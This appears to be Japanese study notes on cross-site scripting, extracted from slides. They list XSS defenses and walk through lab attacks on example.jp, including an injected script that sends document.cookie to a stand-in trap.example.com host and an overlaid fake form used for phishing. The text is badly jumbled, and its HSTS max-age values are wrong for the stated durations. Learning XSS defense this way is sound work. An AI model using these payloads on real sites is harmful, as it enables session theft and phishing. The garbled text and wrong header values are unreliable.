4.3 表示処理に伴う問題 クロスサイト・スクリプティング（基本編）
WebアプリケーションにXSS（クロスサイト・スクリプティング）の脆弱性がある場合には、以下の影響があります。
クッキー値を盗み出されて、セッションハイジャックされる。利用者がなりすましの被害を受ける。
その他に、JavaScriptによる攻撃を受ける。サイト利用者の権限でWebアプリケーションの機能を悪用される。
画面の書き換えが行われる。偽のフォームからフィシングによって、個人情報や重要な秘密情報が盗まれる。

対策についてHTMLの構成要素

スクリプト（イベントハンドラ）

イベントハンドラ中の文字列リテラ<html><body onload="init('XXXX') ; "><form ．．．>
<input name="tel" value="03-123-5678"><input type="submit" ></form>
属性値<a href="http://example.jp/"> XXXX <a>
<p>

要素内容
属性値
</p>
<script type="test/javascript">
var x = ．．．;
スクリプト
document.write( 'JHON' ) ;<script/>
script要素中の文字列リテラル</html>HTMLエスケープの概要
置かれている場所
要素内容

要素への処理タグと文字参照が解釈される

エスケープ処理「＜」と「＆」を文字参照にする
基本

属性値

文字参照が解釈される属性値を「”」で囲み、「＜」と「”」と「＆」を文字参照に引用符で終端される属性値（URL）
文字参照が解釈される
URL形式をチェックしてから、属性値としてエスケープする引用符で終端される
イベントハンドラ
文字参照が解釈される
Javascriptとしてエスケープしてから、引用符で終端される属性値としてのエスケープ
script要素内の文字列リテラル タグと文字参照が解釈されない Javascriptとしてのエスケープと「</>」により終端される「</>」を排除する
JavaScriptの文字列リテラルとしてエスケープすべき文字文字
「\」
「"」
「'」
改行

エスケープ
「\\」
「\"」
「\'」
「\n」

JavaScriptエスケープを行い、さらにHTMLエスケープを実行したときの処理結果
入力内容＜＞’ ” \JavaScriptエスケープ後\ ’\ ”\ \＜＞●レスポンスに、文字エンコーディングの指定をする
header('Content-Type: text/html; charset=UTF-8');＆ｌｔ； ＆ｇｔ；

HTMLエスケープ後\ &#39；\ &quot；\ \●X-XSS-Protection レスポンスヘッダを使用する
最近のブラウザはXSSフィルタが標準で有効化されているが（firefoxは標準で無効）、利用者が無効化している場合もある。
X-XSS-Protection レスポンスヘッダは、利用者の設定を上書きし、有効/無効を設定したり、動作モードを変更する機能です。
HTTPレスポンスで、以下を出力する。
X-XSS-Protection: 1; mode=block
Apacheの設定で出力する場合は、mod_headerを導入した上で、httpd.conf に以下を設定する
Header always set X-XSS-Protection "1; mode=block"nginxの設定する場合は、conf.d/default.conf に以下を設定する
add_header X-XSS-Protection: 1; mode=block;●クッキーにHttpOnly属性を付与する（JavaScriptからのクッキーの読み出しを禁止）
PHPでセッションIDにHttpOnly属性を付与するためには、php.ini に以下を設定する
session.cookie_httponly = on
●Content-Security-Policy を使用する
主にXSS攻撃緩和のためにブラウザに実装されつつある（最も基本的、厳しい設定）

Content-Security-Policy: default-src 'self'：スクリプト、画像、CSSなどのメディアを自サイトからの呼び出しに制限する。ただし、インラインのJavaScriptも禁止されるので、手間もかかる。
●Strict-Transport-Security(HSTS) を使用する
HTTPS接続を強制する。HTTPアクセスをHTTPSアクセスにリダイレクトするときの中間者攻撃（ダウングレードさせられる）に有効。
（HTTPS強制を１年間継続）（サブドメインを含めて、HTTPS強制を２年間継続）

Strict-Transport-Security: max-age=3156000
Strict-Transport-Security: max-age=3156001; includeSubDomains※ XST（HTTPのTRACEメソッド送信による、クッキーやBASIC認証のID、PWを盗む手法）について、現在は、サーバ側、ブラウザ側とも、TRACEメソッドを禁止する施策がとられているが、脆弱性診断で指摘を受ける場合がある。（注意から重要指摘まで様々）
ApacheのTRACEメソッド無効化設定は、http.confにTraceEnable Off
nginxはデフォルトで無効化されている

XSS（基本編） 43-001:正常系【ブラウザ】【サーバ： 43/43-001.php 】

【ブラウザ→サーバ： リクエスト 43/43-001.php → レスポンス 】 正常系【ブラウザ】XSS（基本編） 43-001:XSS攻撃【ブラウザ】【サーバ： 43/43-001.php 】

【ブラウザ→サーバ： リクエスト 43/43-001.php → レスポンス 】 XSS攻撃【ブラウザ】XSS（基本編） 43-900:罠サイト
罠サイト
trap.example.com

example.jp

罠サイト

正規サイト

②仕掛けのあるＨＴＭＬ

src=" http://example.jp/43/43-001.php ? "keyword=<script> </script>①罠サイトの閲覧
trap.example.com/43/43-900.htm

window.location = ' http://trap.example.com/43/43-901.php ? sid = ' %2B document.cookie;④仕掛けを含むレスポン

閲覧者【ブラウザ】③攻撃リクエスト【サーバ： 43/43-900.html 】

クッキー【サーバ： 43/43-001.php 】

example.jp に対して、セッションを開始【サーバ： 43/43-901.php 】

example.jp のクッキーをメールで送信【ブラウザ→偽サーバ： リクエスト trap.example.com/43/43-900.html → レスポンス 】 罠サイト

【ブラウザ→偽サーバ： リクエスト trap.example.com/43/43-901.html → レスポンス 】

【ブラウザ】【メール】

example.jp のクッキーをメールで送信XSS（基本編） 43-002:粗大ゴミ申し込み(正常系)【ブラウザ】【サーバ： 43/43-002.php 】

【ブラウザ→サーバ： リクエスト 43/43-002.php → レスポンス 】 粗大ゴミ申し込み(正常系)【ブラウザ→サーバ： リクエスト 43/43-002.php → レスポンス 】 粗大ゴミ申し込み(正常系)

入力後【ブラウザ】

XSS（基本編） 43-902:粗大ゴミ悪用【ブラウザ】【サーバ： 43/43-902.ｈｔｍｌ 】

ここから始まる橙色のエリアが注入するHTML
formを絶対座標で、画面左上に位置づける
Z-index:99 で元のformよりも前面に位置づける
background-color：white で背景色を白にして、透けないようにする

リンクに見せかけたボタン【サーバ： 43/43-002.php 】【サーバ： 43/43-003.php 】

【ブラウザ→偽サーバ： リクエスト trap.example.com/43/43-002.html → レスポンス 】 粗大ゴミ悪用

ここから始まる橙色のエリアが【ブラウザ→サーバ： リクエスト
43/43-002.php → レスポンス 】 粗大ゴミ悪用
注入するHTML

リンクに見せかけたボタン

【ブラウザ→サーバ： リクエスト 43/43-002.php → レスポンス 】 粗大ゴミ悪用

FORM要素元のFORMに上かぶせ【ブラウザ】

罠のサイトのURL【ブラウザ】

【ブラウザ→偽サーバ： リクエスト trap.example.com/43/43-003.php → レスポンス 】 粗大ゴミ悪用

【ブラウザ】

ページURLは、元の粗大ゴミ受付センターであるので、気づかない。
このサイトが https でも、証明書は正規のものになるので、見破るのは困難。
HTMLだけで偽サイトが成り立っているので、Javascriptで引っ掛けようとしても、見破れません。